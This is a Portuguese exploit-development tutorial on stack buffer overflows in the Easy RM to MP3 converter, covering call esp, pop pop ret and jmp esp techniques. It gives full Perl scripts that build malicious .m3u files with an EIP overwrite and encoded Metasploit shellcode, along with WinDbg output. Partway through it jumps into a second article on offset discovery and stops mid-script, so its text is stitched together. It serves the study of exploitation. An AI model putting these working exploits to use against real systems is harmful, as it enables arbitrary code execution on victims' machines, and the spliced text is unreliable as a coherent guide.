Stack Buffer Overflow – Jumping to Shellcode – parte 1

Essa nova série de artigos, divida em 3 partes, é baseada em uma série prévia, traduzida e adaptada a partir do material criado pelo CorelanTeam. Abaixo seguem os links dos artigos anteriores, e para seguir essa nova série, é necessário que tome conhecimento da série prévia:

Agora vamos à nova série…
Para onde você quer pular (jmp) hoje ?

No tutorial anterior, expliquei sobre como descobrir uma vulnerabilidade e utilizar essa informação para construir um exploit funcional. No exemplo, vimos que ESP apontava quase que diretamente para o início de nosso buffer (precisamos apenas adicionar 4 bytes ao shellcode para fazer ESP apontar diretamente para o shellcode), e poderíamos utilizar um “jmp esp” para fazer o shellcode executar.

O fato de podermos utilizar um “jmp esp” foi um cenário quase perfeito. Nem sempre é tão fácil assim. Nesse tutorial vamos ver outras formas de executar nosso shellcode, e ver quais são as opções existentes caso se depare com buffers muito pequenos.

Há diversos métodos de forçar a execução de um shellcode.

Jump (or call) para um registrador que aponta para o shellcode. Com esta técnica, você basicamente utiliza um registrador que contém o endereço onde o shellcode está localizado e coloca esse endereço no EIP. Você tenta encontrar o opcode de um “jump” ou “call” para o registrador em uma das dll’s que esteja carregada quando a aplicação for executada. Quando criar seu payload, ao invés de sobrescrever o EIP com um endereço na memória, você precisa sobrescrever o EIP com o endereço do “jump para o registrador”. Obviamente que isso só funciona se um dos registradores disponíveis contiver um endereço que aponte para o shellcode. Foi dessa forma que fizemos com que nosso exploit funcionasse no primeiro tutorial, então não vamos entrar nesse assunto daqui por diante.

Pop return: se nenhum dos registradores apontar diretamente para o shellcode, mas você consegue enxergar um endereço na stack que aponta para o shellcode, então poderá carregar esse valor no EIP colocando um apontador para pop ret, ou pop pop ret, ou pop pop pop ret (tudo dependendo do local onde o endereço foi encontrado na stack) na EIP.

Push return: este método é pouco diferente da técnica que chamamos de “call register”. Se você não puder encontrar um opcode “jump register” ou “call register” em lugar algum, pode simplesmente colocar o endereço na stack e então fazer um ret. Então você basicamente tenta encontrar um push , seguido por um ret. Encontre o opcode para esta sequência, encontre um arquivo que performe esta sequência, e sobrescreva o EIP com este endereço.

Jmp [reg + offset]: Se houver um registrador que aponte para o buffer que contém o shellcode, mas não aponta para o início do shellcode, pode-se tentar encontrar uma instrução em uma DLL do S.O. ou de alguma aplicação, que adicionará os bytes necessários ao registrador e então pula para o registrador.

Blind return: no tutorial anterior foi explicado que o ESP aponta para a posição atual na pilha (por padrão). Uma instrução RET irá fazer um “pop” do último valor (4 bytes) da pilha e irá colocar esse endereço na ESP. Então, se você sobrescrever o EIP com o endereço que realiza uma instrução RET, você carregará o valor armazenado no ESP, dentro do EIP. Se você se deparar com uma situação em que o espaço disponível no buffer (após sobrescrever o EIP) seja limitado, mas tiver uma boa quantidade de espaço antes de sobrescrever o EIP, então poderá utilizar “jump code” no buffer menor para pular para o shellcode principal na primeira parte do buffer.

SEH: Toda aplicação possui um manipulador padrão de exceção (default exception handler) que é disponibilizado pelo S.O. Então, mesmo se a aplicação não utilizar por si mesma um manipulador de exceções, você pode tentar sobrescrever o manipulador SEH com seu próprio endereço e fazê-lo pular para seu shellcode. Utilizando o SEH é possível fazer um exploit mais confiável em várias plataformas Windows, mas são necessárias algumas explicações a mais antes que possa começar a abusar do SEH para escrever exploits. A idéia por detrás disso é que se você construir um exploit que não funcione em um determinado S.O., então o payload pode apenas gerar um crash na aplicação (e fazer o triggering de uma exceção). Então se você puder combinar um exploit “normal” com um exploit baseado em seh, então você terá criado um exploit mais confiável. De qualquer forma, o próximo tutorial lidará especificamente com SEH. Apenas lembre que um típico stack buffer overflow, onde sobrescrevemos o EIP, pode ser potencialmente sujeito à técnica de exploits baseados em SEH também, dando-lhe mais estabilidade, um buffer de tamanho maior.

As técnicas explicadas neste tutorial são apenas exmplos. O objetivo do mesmo é explicar que podem haver vários para pular para seu shellcode, e em outros casos pode haver apenas uma forma (e pode requerer uma combinação de técnicas) para fazer com que seu código arbitrário seja executado.

Podem haver muitos outros métodos para afzer um exploit funcionar e de forma confiável, mas se você dominar aqueles listados aqui, e utilizar o senso comum, poderá encontrar uma forma para resolver a maioria dos problemas quando estiver tentando fazer com que um exploit pule para seu shellcode. Mesmo se uma técnica pareça funcionar, mas o shellcode não execute, você pode brincar com encoders de shellcode, move o shellcode uns poucos bits para frente e colocar alguns NOP’s antes do shellcode… há várias coisas que podem ajudar seu exploit funcionar.

Obviamente que é perfeitamente possível que uma vulnerabilidade apenas leve à um crash, e nunca seja explorada.

Vamos dar uma olhada na implementação prática de algumas das técnicas listadas acima.

call [reg]

Se um registro é carregado com um endereço que aponte diretamente para o shellcode, então você pode fazer um call [reg] para pular diretamente para o shellcode. Em outras palavras, se ESP aponta diretamente para o shellcode (então o primeiro byte do ESP é o primeiro byte de seu shellcode), então você pode sobrescrever o EIP com o endereço de “call esp”, e o shellcode será executado. Isso funciona com todos os registradores e é bem popular porque o kernel32.dll contém diversos endereços call [reg].

Exemplo: assumindo que ESP aponta para o shellcode: primeiro, procure por um endereço que contenha o opcode ‘call esp’. Vamos utilizar o findjmp:

findjmp.exe kernel32.dll esp Findjmp, Eeye, I2S-LaBFindjmp2, Hat-SquadScanning kernel32.dll for code useable with the esp register0x7C836A08      call esp0x7C874413      jmp espFinished Scanning kernel32.dll for code useable with the esp registerFound 2 usable addresses

Depois, escreva o exploit e sobrescreva o EIP com 0x7C836A08.

A partir do exemplo do Easy RM to MP3, no tutorial anterior, sabemos que podemos apontar ESP no início de nosso shellcode adicionando 4 caracteres entre o local onde EIP foi sobrescrito e ESP. Um exploit padrão pareceria com o que está abaixo:

my $file= “test1.m3u”;my $junk= “A” x 26094; my $eip = pack(‘V’,0x7C836A08); #sobrescreve EIP com call esp my $prependesp = “XXXX”;  #adiciona 4 bytes e assim o ESP aponta para os bytes iniciais do shellcode my $shellcode = “\x90” x 25;   #inicia o shellcode com alguns NOPS # windows/exec – 303 bytes# http://www.metasploit.com# Encoder: x86/alpha_upper# EXITFUNC=seh, CMD=calc $shellcode = $shellcode . “\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49″ .”\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56″ .”\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41″ .”\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42″ .”\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a” .”\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47″ .”\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c” .”\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a” .”\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50″ .”\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43″ .”\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a” .”\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c” .”\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44″ .”\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c” .”\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47″ .”\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50″ .”\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44″ .”\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43″ .”\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42″ .”\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b” .”\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45″ .”\x31\x42\x4c\x42\x43\x45\x50\x41\x41″; open($FILE,”>$file”);print $FILE $junk.$eip.$prependesp.$shellcode;close($FILE);print “Arquivo m3u criado com sucesso \n”;

pop ret

Como explicado acima, no exemplo do Easy RM to MP3, fomos capazes de manipular nosso buffer para que ESP apontasse diretamente para nosso shellcode. O que fazer quando não houver registradores que apontem para nosso shellcode?

Bem, nesse caso, um endereço apontando para o shellcode pode existir na stack. Se fizer um dump do esp, verifique os primeiros endereços. Se um desses endereços apontar para seu shellcode (ou um buffer que você controla), então poderá encontrar um pop ret ou pop pop ret (nada a ver com exploits baseados em SEH aqui) para:

  • Pegar endereços da stack (e sair dos mesmos)
  • Pular para endereços que trariam para você o shellcode.

A técnica de pop ret obviamente é utilizável apenas quando ESP+offset já contém um endereço que aponta para o shellcode… Então faça um dump do esp, veja se um dos primeiros endereços aponta para o shellcode, e coloque uma referência à pop ret (ou pop pop ret ou pop pop pop ret) no EIP. Isso irá retornar algum endereço da stack (um endereço para cada pop) e colocará o próximo endereço no EIP. Se algum deles apontar para o shellcode, então você terá vencido.

Há um segundo uso para o pop ret: o que fazer se você controla o EIP, nenhum registrador aponta para o shellcode, mas seu shellcode pode ser encontrado em ESP+8: Nesse caso, você pode colocar um pop pop ret no EIP, que irá pular para ESP+8. Se você colocar um apontador para jmp esp neste local, então irá pular para o shellcode que está localizado logo após o apontador jmp esp.

Vamos fazer um teste. Sabemos que precisamos de 26094 bytes antes de sobrescrever o EIP, e que precisamos de mais 4 bytes antes de chegarmos no endereço da stack para onde o ESP aponta ( no meu caso, o endereço é 0x000ff730).

Simularemos que em ESP+8, temos um endereço que aponta para o shellcode.

26094 A’s, 4 XXXX’s, um break, 7 NOP’s, um break, e mais NOP’s. Pretendemos que o shellcode comece no segundo break. O objetivo é fazer um jump no primeiro break, direto para o segundo break (que está em ESP+8 bytes = 0x000ff738).

my $file= “test1.m3u”;my $junk= “A” x 26094;my $eip = “BBBB”; #sobrescreve EIPmy $prependesp = “XXXX”;  #adiciona 4 bytes para que o ESP aponte para os bytes iniciais do shellcodemy $shellcode = “\xcc”; #primeiro break$shellcode = $shellcode . “\x90” x 7;  #adiciona mais 7 bytes$shellcode = $shellcode . “\xcc”; #segundo break$shellcode = $shellcode . “\x90″ x 500;  #shellcodeopen($FILE,”>$file”);print $FILE $junk.$eip.$prependesp.$shellcode;close($FILE);print “Arquivo m3u criado com sucesso \n”;

Vamos olhar a stack…

A aplicação trava por conta do estouro de buffer. Nós sobrescrevemos EIP com “BBBB”. ESP aponta para 000ff730 (que começa com o primeiro break), então 7 NOP’s, e então vemos o segundo break, que está na verdade no início de nosso shellcode (que está no endereço 0x000ff738).

eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067faeip=42424242 esp=000ff730 ebp=00344200 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.+0x42424231:42424242 ??              ???0:000> d esp000ff730  cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90  …………….000ff740  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff750  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff760  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ……………. 0:000> d 000ff738000ff738  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff748  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff758  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff768  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff778  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff788  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff798  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff7a8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….

O objetivo é obter o valor de ESP+8 no EIP (e manipular este valor para que pule para o shellcode). Utilizaremos a técnica pop ret + endereço do jmp esp para conseguir isso. Uma instrução POP pegará 4 bytes do topo da stack. Assim o stack pointer apontaria para 000ff734.Executando outra instrução pop tomaríamos mais 4 bytes do topo da stack. ESP então apontaria para 000ff738. Quando uma instrução “ret” é executada, o valor no endereço atual de ESP é colocado no EIP. Assim se o valor de 000ff738 contém o endereço de uma instrução jmp esp, então este é o que EIP também conteria. O buffer após 000ff738 deve conter nosso shellcode. Precisamos encontrar a sequência de instruções pop, pop, ret em algum lugar, e sobrescrever o EIP com o endereço da primeira parte da sequência de instruções, e devemos configurar ESP+8 para o endereço de jmp esp, seguido pelo shellcode.

Em primeiro lugar, precisamos saber o opcode para pop pop ret. Utilizaremos a funcionalidade assemble no windbg para obter os opcodes:

0:000> a7c90120e pop eaxpop eax7c90120f pop ebppop ebp7c901210 retret7c901211  0:000> u 7c90120entdll!DbgBreakPoint:7c90120e 58              pop     eax7c90120f 5d              pop     ebp7c901210 c3              ret7c901211 ffcc            dec     esp7c901213 c3              ret7c901214 8bff            mov     edi,edi7c901216 8b442404        mov     eax,dword ptr [esp+4]7c90121a cc              int     3

Então o opcode de pop pop ret é 0×58,0x5d,0xc3

Obviamente, que você pode optar por outros registradores também. Há alguns outros opcodes de pop disponíveis:

pop register opcode
pop eax 58
pop ebx 5b
pop ecx 59
pop edx 5a
pop esi 5e
pop ebp 5d

Agora precisamos encontrar esta sequência em uma das dlls disponíveis. No primeiro tutorial falamos sobre dll’s de aplicação versus dll’s de SO. Penso ser recomendado utilizar dll’s de aplicação por aumentarem a chance de construir exploits mais confiáveis em diferentes plataformas e versões do Windows… Mas é necessário ter certeza de que as dll’s utilizam alguns endereços básicos todas as vezes.

As vezes, as dll’s são realocadas, e nesse cenário poderia ser melhor utilizar um DLL de SO (user32.dll ou kernel32.dll, por exemplo).

Abra o Easy RM to MP3 (não abra nenhum arquivo ou qualquer outra coisa) e então anexe o windbg ao processo executado.

Windbg mostrará os módulos carregados, tanto da aplicação quanto os de SO. (olhe para a parte superior da saída do windbg, e encontre a linha que inicia com ModLoad). Haverão algumas dll’s de aplicação:

ModLoad: 00ce0000 00d7f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dllModLoad: 01a90000 01b01000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dllModLoad: 00c80000 00c87000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dllModLoad: 01b10000 01fdd000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll

Você pode exibir a imagem base de uma dll rodando o dumpbin.exe (do Visual Studio) com o parâmetro /headers contra a dll. Isso permitirá definir o endereço menor e maior para buscas.

Deve-se evitar a utilização de endereços que contenham null bytes (porque isso pode tornar o exploit ainda mais difícil).

Uma busca no MSRMCcodec00.dll nos dá alguns resultados:

0:014> s 01a90000 l 01b01000 58 5d c301ab6a10  58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc  X].3.].U..QQ.E..01ab8da3  58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c  X]..M..e..Qj..5l01ab9d69  58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00  X].j…j……..

Ok, podemos pular para ESP+8 agora. Neste local precisamos colocar o endereço para jmp esp (pois, como explicado antes, a instrução ret pegará o endereço daquele local e o colocará no EIP. Neste ponto, o endereço ESP apontará para nosso shellcode que está localizado após o endereço de jmp esp… então o que realmente queremos nesse ponto  é um jmp esp).

No primeiro tutorial, aprendemos que 0x01ccf23a refere-se a jmp esp. Então vamos voltar ao nosso script Perl e substituir o “BBBB” (usado para sobrescrever o EIP) por um dos 3 endereços pop, pop, ret, seguido por 8 bytes (NOP) (para simular que nosso shellcode está 8 bytes além do topo da stack), então o endereço de jmp esp, e então o shellcode.

O buffer parecerá assim:

[AAAAAAAAAAA…AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]   26094 A’s         EIP           8 bytes offset          JMP ESP                  (=POPPOPRET)

O fluxo completo do exploit se parecerá com isso:

1 – EIP é sobrescrito com POP POP RET (novamente, este exemplo não tem nada com exploits baseados em SEH. Queremos apenas pegar um valor que está na stack e jogar na EIP). ESP aponta para o início dos 8 bytes offset do shellcode.

2 – POP POP RET é executado. EIP está sobrescrito com 0x01ccf23a (pois esse é o endereço encontrado em ESP+0x8). ESP agora aponta para o shellcode.

3 – Já que EIP está sobrescrito com o endereço de jmp esp, o segundo jump é executado e o shellcode lançado.

———————————-                       |                                 |(1)                       |                                 |                       |       ESP aponta aqui (1)       |                       |       |                         V[AAAAAAAAAAA…AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]   26094 A’s         EIP           8 bytes offset          JMP ESP   ^                  (=POPPOPRET)                                |      | (2)                                                              |——|                                                                     ESP agora aponta aqui (2)

Simularemos isso com um break e alguns NOP’s como shellcode, assim podemos ver se nosso jump funciona.

my $file= “test1.m3u”;my $junk= “A” x 26094; my $eip = pack(‘V’,0x01ab6a10); #pop pop ret de MSRMfilter01.dllmy $jmpesp = pack(‘V’,0x01ccf23a); #jmp esp my $prependesp = “XXXX”;  #adiciona 4 bytes e ESP aponta para o início do shellcodemy $shellcode = “\x90” x 8;  #adicionais mais bytes$shellcode = $shellcode . $jmpesp;  #endereço para retorno via pop pop ret ( = jmp esp)$shellcode = $shellcode . “\xcc” . “\x90″ x 500;  #shellcode real open($FILE,”>$file”);print $FILE $junk.$eip.$prependesp.$shellcode;close($FILE);print “Arquivo m3u criado com sucesso \n”;(d08.384): Break instruction exception – code 80000003 (!!! second chance !!!)eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067feeip=000ff73c esp=000ff73c ebp=90909090 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.+0xff72b:000ff73c cc              int     30:000> d esp000ff73c  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff74c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff75c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff76c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff77c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff78c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff79c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….000ff7ac  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  …………….

Funciona! Agora vamos substituir os NOP’s após o jmp esp (ESP+8) pelo shellcode real (alguns nops para nos certificarmos + shellcode, codificados com alpha_upper):

my $file= “test1.m3u”;my $junk= “A” x 26094; my $eip = pack(‘V’,0x01ab6a10); #pop pop ret de MSRMfilter01.dllmy $jmpesp = pack(‘V’,0x01ccf23a); #jmp esp my $prependesp = “XXXX”;  # adiciona 4 bytes e ESP aponta para o início do shellcodemy $shellcode = “\x90” x 8;  # adicionais mais bytes$shellcode = $shellcode . $jmpesp;  # endereço para retorno via pop pop ret ( = jmp esp) $shellcode = $shellcode . “\x90” x 50;  #shellcode real# windows/exec – 303 bytes# http://www.metasploit.com# Encoder: x86/alpha_upper# EXITFUNC=seh, CMD=calc$shellcode = $shellcode . “\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49″ .”\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56″ .”\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41″ .”\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42″ .”\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a” .”\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47″ .”\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c” .”\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a” .”\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50″ .”\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43″ .”\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a” .”\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c” .”\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44″ .”\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c” .”\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47″ .”\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50″ .”\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44″ .”\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43″ .”\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42″ .”\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b” .”\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45″ .”\x31\x42\x4c\x42\x43\x45\x50\x41\x41″; open($FILE,”>$file”);print $FILE $junk.$eip.$prependesp.$shellcode;close($FILE);print “Arquivo m3u criado com sucesso \n”;

 

Escrevendo um exploit para Stack Overflow – parte 2

O debugger

Para ver o estado da pilha (e valor dos registradores tal como o ponteiro de instrução, ponteiro da pilha, e etc), precisamos vincular um debugger à aplicação, assim podemos ver o que acontece no momento em que a aplicação é executada (e especialmente quando termina).

Há muitos debugger disponíveis para tal propósito. Os dois debugger que uso mais frequentemente são OllyDBG e Immunity’s Debugger .

Vamos utilizar o Immunity para efeito prático.

Abra o Immunity debugger, vá ao menu “Options” – “Just in-time debugging” e clique em “Make Immunity Debugger just in-time debugger”.

E vamos em frente…

Inicie o Easy RM to MP3, e então abra o arquivo crash.m3u novamente. A aplicação vai travar de novo. Se surgir algum popup, clique no botão “debug” e o debugger será iniciado:

A tela acima foi cortada para melhor visualização, mas ao executar esse processo, poderá ver que no canto superior esquerdo, que temos a visualização da CPU, que mostra as instruções em assembly e seus opcodes (a janela estará vazia porque o EIP estará apontando para 4141414141, que é um endereço inválido). No canto superior direito, visível na figura acima, podemos ver os registradores. No canto inferior esquerdo (não visível na figura acima), poderemos ver o dump da memória, nesse caso do endereço 00446000. No canto inferior direito, podemos ver o conteúdo da pilha (o conteúdo da memória no local onde o ESP aponta).

Frente ao que vemos, parece que parte de nosso arquivo m3u foi lido e armazenado no buffer e causo o estouro do mesmo. Fomos capazes de estourar o buffer e escrever no ponteiro de instrução. Sendo assim, podemos controlar o valor do EIP.

Como nosso arquivo contém apenas A’s, não sabemos exatamente quão grande nosso buffer precisa ser para escrever exatamente no EIP. Em outras palavras, se quisermos ser específicos na sobreescrição do EIP (e assim podermos preenchê-lo e fazê-lo pular para nosso código malicioso), precisamos saber a posição exata em nosso buffer/payload onde sobrescreveremos o endereço de retorno (que se tornará o EIP quando a função retornar). Esta posição é frequentemente referida como o “offset”.

Determinando o tamanho do buffer para escrever exatamente no EIP

Sabemos que o EIP está localizado em algum lugar entre 20000 e 30000 bytes contados do início do buffer. Poderíamos sobrescrever todo o espaço de memória entre 20000 e 30000 bytes com o endereço que queremos sobrescrever no EIP. Isso até pode funcionar, mas será muito mais interessante se pudermos encontrar a localização exata para sobrescrevermos. Para determinar o offset exato do EIP em nosso buffer, precisamos de um pouco mais de trabalho.

Primeiro, vamos tentar apontar a localização alterando um pouco o nosso script perl:

my $file= "crash25000.m3u";
my $junk= "\x41" x 25000;
my $junk2= "\x42" x 5000; 
open($FILE,">$file"); 
print $FILE $junk.$junk2;
close($FILE); 
print "Arquivo m3u criado com sucesso\n";

Vamos cortar algumas coisas. Vamos criar um arquivo contendo 25000 A’s e outro com 5000 B’s. Se o EIP contiver 41414141(AAAA), o EIP está entre 20000 e 25000, e se o EIP contiver 42424242 (BBBB), o EIP se encontrará entre 25000 e 30000.

Crie o arquivo e abra o crash25000.m3u no Easy RM to MP3.

Ok, então o EIP contém 42424242 (BBBB), então sabemos que o EIP tem um offset entre 25000 e 30000. O que também significa que podemos ver os B’s restantes na memória para onde o ESP aponta (já que o EIP foi sobrescrito antes do final dos 30000 caracteres do buffer).

Dump do ESP:

Isso é uma boa notícia. Conseguimos sobrescrever o EIP com BBBB e também podemos ver nosso buffer no ESP.

Antes de podermos começar a construir do script, precisamos encontrar o local exato em nosso buffer que sobrescreve o EIP.

Para encontrarmos o local exato, usaremos o Metasploit.

Metasploit possui uma boa ferramenta que nos ajuda a calcular o offset. Ele gerará uma string que contém um padrão único. Usando esse padrão (e o valor do EIP após utilizar o padrão em nosso arquivo .m3u malicioso), podemos ver quão grande deve ser o buffer para que escrevamos exatamente dentro do EIP.

Abra o diretório tools no diretório do metasploit3 (estou usando uma versão do MSF3 em Linux). Você deverá encontrar uma ferramenta chamada pattern_create.rb. Crie um conjunto de 5000 caracteres e grave-o em um arquivo.

Edite o script perl e substitua o conteúdo de $junk2 pelos 5000 caracteres.

my $file= "crash25000.m3u";
my $junk= "\x41" x 25000;
my $junk2= "coloque os 5000 caracteres aqui";
open($FILE,">$file"); 
print $FILE $junk.$junk2; 
close($FILE); 
print "Arquivo m3u criado com sucesso\n";

Crie o arquivo .m3u. Abra esse arquivo no Easy RM to MP3, aguarde até que a aplicação morra novamente, e preste atenção ao conteúdo do EIP.

Nesse momento, EIP contém 0x6A42376A (perceba que sobrescrevemos o EIP com 6A 37 42 6A – o valor de EIP como visto na figura, ao contrário – que são as strings = j7Bj).

Vamos utilizar uma segunda ferramenta do metasploit para calcular o tamanho exato do buffer antes de escrever no EIP. Entre com o valor do EIP (baseado no conjunto de caracteres) e o tamanho do buffer:

1072. Que é o tamanho do buffer necessário para sobrescrever o EIP (é bem provável que o seu valor seja diferente do meu). Então podemos criar um arquivo com 25000+1072 A’s, e então adicionar 4 B’s (42 42 42 42 em hexadecimal), de forma qu o EIP contenha 42 42 42 42. Também sabemos que o ESP aponta para dados em nosso buffer, então adicionaremos alguns C’s após sobrescrever o EIP.

Vamos tentar, modificando o script perl para criar um novo arquivo .m3u.

my $file= "eipcrash.m3u";
my $junk= "\x41" x 26072;
my $eip= "BBBB";
my $esp= "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$esp;
close($FILE);
print "Arquivo m3u criado com sucesso\n";

Crie o arquivo eipcrash.m3u, abra-o no Easy RM to MP3, observe o travamento e o conteúdo do EIP e da memória do ESP:

Excelente. EIP contém BBBB, que é exatamente o que queremos. Agora controlamos o EIP. No topo do mesmo, ESP aponta para o nosso buffer (C’s).

Obs.: o offset mostrado aqui é resultado da análise em meu sistema, que está rodando em uma máquina virtual, inclusive. Em seu sistema, certamente você terá um endereço de offset diferente. Você precisará adaptar o script perl de acordo com o offset que obteve em seu sistema. O buffer que é vulnerável ao overflow inclui o caminho completo ao arquivo m3u. Assim, se o caminho para o arquivo for maior ou menor que o meu, o offset será diferente.

Nosso buffer parecerá com isso:

Buffer

EBP

EIP

ESP aponta para aqui

A (x 26090)

AAAA

BBBB

CCCCCCCCCCCCCCCCCCCCCCCC

414141414141…41

41414141

42424242

26072 bytes

4 bytes

4 bytes

1000 bytes ?

Encontrando espaço na memória para armazenar o shellcode

Controlamos o EIP. Dessa forma, podemos apontar o EIP para qualquer lugar que contenha nosso código (shellcode). Mas onde é esse lugar, como podemos colocar nosso shellcode nesse local e como podemos fazer com que o EIP desloque-se para essa posição?

Para travarmos a aplicação, escrevemos 26072 A’s na memória, escrevemos um novo valor no campo salvo do EIP e escrevemos vários C’s.

Quando a aplicação trava, dê uma olhada nos registradores e no dump dos mesmos (esp, eax, ebx, ebo, …). Se for capaz de ver seu buffer (seja A ou C) em um dos registradores, então será capaz de alterar esses caracteres com seu shellcode e pular para esse local. Em nosso exemplo, podemos ver que ESP parece apontar para os nossos C’s, então, poderíamos colocar nosso shellcode no lugar desses C’s e dizer para o EIP ir para o endereço do ESP.

Independente de podermos ver os C’s, não podemos ter certeza de que o primeiro C (no endereço 000FF730, para onde o ESP aponta), é de fato o primeiro C que colocamos em nosso buffer.

Mudaremos o script perl e colocaremos um conjunto de caracteres (coloquei 144 caracteres, mas você pode colocar mais ou menos) ao invés dos C’s:

my $file= "test1.m3u";
my $junk= "A" x 26072;
my $eip = "BBBB"; 
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" . 
"9ABCDEFGHIJKAABCDEFGHIJK". 
